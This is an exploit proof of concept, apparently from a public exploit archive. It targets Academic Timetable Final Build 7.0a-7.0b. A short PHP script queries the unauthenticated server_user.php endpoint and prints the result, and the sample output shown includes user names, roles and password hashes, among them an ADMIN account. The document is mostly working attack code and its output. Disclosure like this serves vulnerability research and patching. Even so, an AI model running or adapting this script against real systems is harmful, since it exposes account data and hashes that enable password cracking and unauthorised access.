Academic Timetable Final Build 7.0 - Information Disclosure

<?php
# Exploit Title: Academic Timetable Final Build 7.0a-7.0b - User Information Disclosure
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://geoffpartridge.net/
# Software Link: https://sourceforge.net/projects/timetableacademic/files/latest/download
# Version: 7.0a-7.0b
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
header ('Content-type: text/html; charset=UTF-8');

$urlemiz= "http://192.168.1.27/[PATH]/";
$yuk="server_user.php?sEcho=10&iColumns=10&iDisplayStart=0&iDisplayLength=10&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSearchable_3=0";
$jsonveri = file_get_contents($urlemiz.$yuk);
$ver = json_decode($jsonveri,true);
echo "<pre>\n";
print_r($ver);
echo "\n</pre>";
/**
Array
(
    [sEcho] => 10
    [iTotalRecords] => 3
    [iTotalDisplayRecords] => 3
    [aaData] => Array
        (
            [0] => Array
                (
                    [0] => testdb1
                    [1] => testdb1
                    [2] => ADMIN
                    [3] => *6CC4E8CFFEAF202D7475BC906612F9A29A9C8117
                )

            [1] => Array
                (
                    [0] => ADMIN
                    [1] => admin
                    [2] => ADMIN
                    [3] => *4ACFE3202A5FF5CF467898FC58AAB1D615029441
                )

            [2] => Array
                (
                    [0] => STAFF
                    [1] => Staff
                    [2] => VIEW
                    [3] => 
                )

        )

)
 */
?>